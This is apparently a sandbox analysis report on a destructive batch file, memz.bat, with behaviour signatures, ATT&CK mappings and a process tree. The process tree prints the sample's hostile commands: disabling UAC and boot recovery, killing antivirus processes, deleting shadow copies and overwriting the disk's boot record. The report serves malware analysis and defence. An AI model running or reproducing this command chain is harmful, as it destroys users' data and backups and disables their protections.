Overview

overview

10

Static

static

1

memz.bat

windows10-2004-x64

10

memz.bat

windows11-ltsc_2024-x64

10

Resubmissions

04/07/2026, 00:21

260704-anef6ahx5t10

04/07/2026, 00:17

260704-ala1yshx3w10

03/07/2026, 21:30

260703-1cf4qagw2y10

03/07/2026, 21:22

260703-z8ckqsgv8w10

Analysis

  • max time kernel
    148s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/07/2026, 21:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    memz.bat
  • Size 5KB
  • Sample260703-1cf4qagw2y
  • SHA256 b2a680fa3dbcdbbd467ea8ecaaf382f6a9f6eb0a790bdc98675012c1dba721f8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarecredential_accessdefense_evasiondiscoveryevasionexecutionimpactpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Manipulates Digital Signatures 1 IoCs

    Attackers can apply techniques such as modifying certain DLL exports to make their binary seem valid.

  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Drops file in System32 directory 64 IoCs
  • Modifies termsrv.dll 1 TTPs 1 IoCs

    Commonly used to allow simultaneous RDP sessions.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 12 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 41 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\memz.bat"
    1⤵
    • Manipulates Digital Signatures
    • Drops file in System32 directory
    • Modifies termsrv.dll
    • Suspicious use of WriteProcessMemory
    PID:5380
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2352
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled No
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:3336
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        2⤵
        • Modifies boot configuration data using bcdedit
        PID:3356
      • C:\Windows\system32\reg.exe
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\SystemStartOptions" /v "SystemStartOptions" /t REG_SZ /d "NOEXECUTE=AlwaysOff" /f
        2⤵
          PID:3340
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
          2⤵
          • UAC bypass
          PID:5124
        • C:\Windows\system32\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f
          2⤵
          • UAC bypass
          PID:3552
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avguard.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3408
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avgnt.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4128
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im avp.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1768
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im mcshield.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3164
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im mbam.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2816
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MsMpEng.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:468
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im NIS.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:4640
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im NortonSecurity.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2112
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im TrendMicro.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:5584
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im firefox.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1060
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im chrome.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3856
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im iexplore.exe
          2⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2972
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:3304
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:748
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Users\Admin\AppData\Local\Temp\mbrw.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1524
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c type C:\mbr.bin ^> \\\\.\\PhysicalDrive0
            3⤵
              PID:3076
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c del C:\mbr.bin
              3⤵
                PID:3012
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:6132
          • C:\Windows\system32\sihost.exe
            sihost.exe
            1⤵
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:5940
            • C:\Windows\explorer.exe
              explorer.exe /LOADSAVEDWINDOWS
              2⤵
              • Boot or Logon Autostart Execution: Active Setup
              • Enumerates connected drives
              • Checks SCSI registry key(s)
              • Modifies Internet Explorer settings
              • Modifies registry class
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              • Suspicious use of SetWindowsHookEx
              PID:4840
          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
            "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3936
          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
            1⤵
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:4816
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k GPSvcGroup
            1⤵
              PID:5272

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Windows Management Instrumentation

                  1
                  T1047

                  Persistence

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Active Setup

                  1
                  T1547.014

                  Privilege Escalation

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Boot or Logon Autostart Execution

                  1
                  T1547

                  Active Setup

                  1
                  T1547.014

                  Defense Evasion

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Direct Volume Access

                  1
                  T1006

                  Impair Defenses

                  1
                  T1562

                  Disable or Modify Tools

                  1
                  T1562.001

                  Indicator Removal

                  3
                  T1070

                  File Deletion

                  3
                  T1070.004

                  Modify Registry

                  3
                  T1112

                  Credential Access

                  Credentials from Password Stores

                  2
                  T1555

                  Credentials from Web Browsers

                  1
                  T1555.003

                  Windows Credential Manager

                  1
                  T1555.004

                  Unsecured Credentials

                  1
                  T1552

                  Credentials In Files

                  1
                  T1552.001

                  Discovery

                  Browser Information Discovery

                  1
                  T1217

                  Peripheral Device Discovery

                  2
                  T1120

                  Query Registry

                  3
                  T1012

                  System Information Discovery

                  3
                  T1082

                  Lateral Movement

                  Remote Services

                  1
                  T1021

                  Remote Desktop Protocol

                  1
                  T1021.001

                  Collection

                  Data from Local System

                  1
                  T1005

                  Command and Control

                  Exfiltration

                  Impact

                  Inhibit System Recovery

                  3
                  T1490

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  iconcache_48.db
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db
                  • Size 1024KB
                  • SHA256 5d58db9702f5b966f21a3acb980f6b2e50cc5a524afbed5be2ba8c8046aaac60
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  iconcache_idx.db
                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
                  • Size 7KB
                  • SHA256 42833ee211714076825d9642a7f6f5df059dbed3f853f907392c4b862aa77cde
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  StartUnifiedTileModelCache.dat
                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat
                  • Size 10KB
                  • SHA256 702459437b0719e25fb153882e45322295f7d060ec3569ef0632889bd25d6a0e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  prep_Activatable Class_Hermes_perf.cache
                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                  • Size 607B
                  • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  ~tartUnifiedTileModelCache.tmp
                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\~tartUnifiedTileModelCache.tmp
                  • Size 10KB
                  • SHA256 90b82f5b6b89c2c2c2072e3cabc0d61e49fde69762d8ce401f1791e7cf9a4e47
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  microsoftwindows.client[1].xml
                  • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\XRZ1TMA9\microsoftwindows.client[1].xml
                  • Size 96B
                  • SHA256 c4aeb0e3fdf08906e1cedb761df19c93c0f899568a2d7fce6488393783b1f30b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  SearchUnifiedTileModelCache.dat
                  • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchUnifiedTileModelCache.dat
                  • Size 10KB
                  • SHA256 1d18253f693d685a80870b4c205d132432e2c137f21d0c2cabe9177dc738e1c9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  SearchUnifiedTileModelCache.dat
                  • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchUnifiedTileModelCache.dat
                  • Size 10KB
                  • SHA256 d203d3e1842bc69cfd30ce166b2a2c0422ca2de2aa177b282517f623103c5822
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  SettingsCache.txt
                  • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SettingsCache.txt
                  • Size 575KB
                  • SHA256 bfef4a905afe500c0f805c24896ad9cfaa3b6258a39497c7d00ce8a6d3f7d19c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  mbrw.vbs
                  • Path C:\Users\Admin\AppData\Local\Temp\mbrw.vbs
                  • Size 361B
                  • SHA256 5e8b4a494f7a501d1cabcae58f83aa0b71b8ce39fc2d938c967e476e54f8698c
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  mfc100chs.dll
                  • Path C:\Windows\System32\mfc100chs.dll
                  • Size 13B
                  • SHA256 622dcb4fe87b58e225186a9b5369e2c3e816338cd5c9600b21fd422886a8f7ba
                  • MD5 SHA1 SHA512
                  Submit Download

                  mbr.bin
                  • Path C:\mbr.bin
                  • Size 4B
                  • SHA256 df3f619804a92fdb4057192dc43dd748ea778adc52bc498ce80524c014b81119
                  • MD5 SHA1 SHA512
                  Submit Download

                  memory/3936-207-0x000001B294980000-0x000001B2949A0000-memory.dmp
                  Download

                  memory/3936-158-0x000001B2801E0000-0x000001B2802E0000-memory.dmp
                  Download

                  memory/3936-157-0x000001B2801E0000-0x000001B2802E0000-memory.dmp
                  Download

                  memory/3936-174-0x000001B294460000-0x000001B294560000-memory.dmp
                  Download

                  memory/3936-172-0x000001B284000000-0x000001B284020000-memory.dmp
                  Download

                  memory/3936-184-0x000001B284400000-0x000001B284420000-memory.dmp
                  Download

                  memory/3936-159-0x000001B2801E0000-0x000001B2802E0000-memory.dmp
                  Download

                  memory/4840-380-0x000000000D380000-0x000000000D413000-memory.dmp
                  Download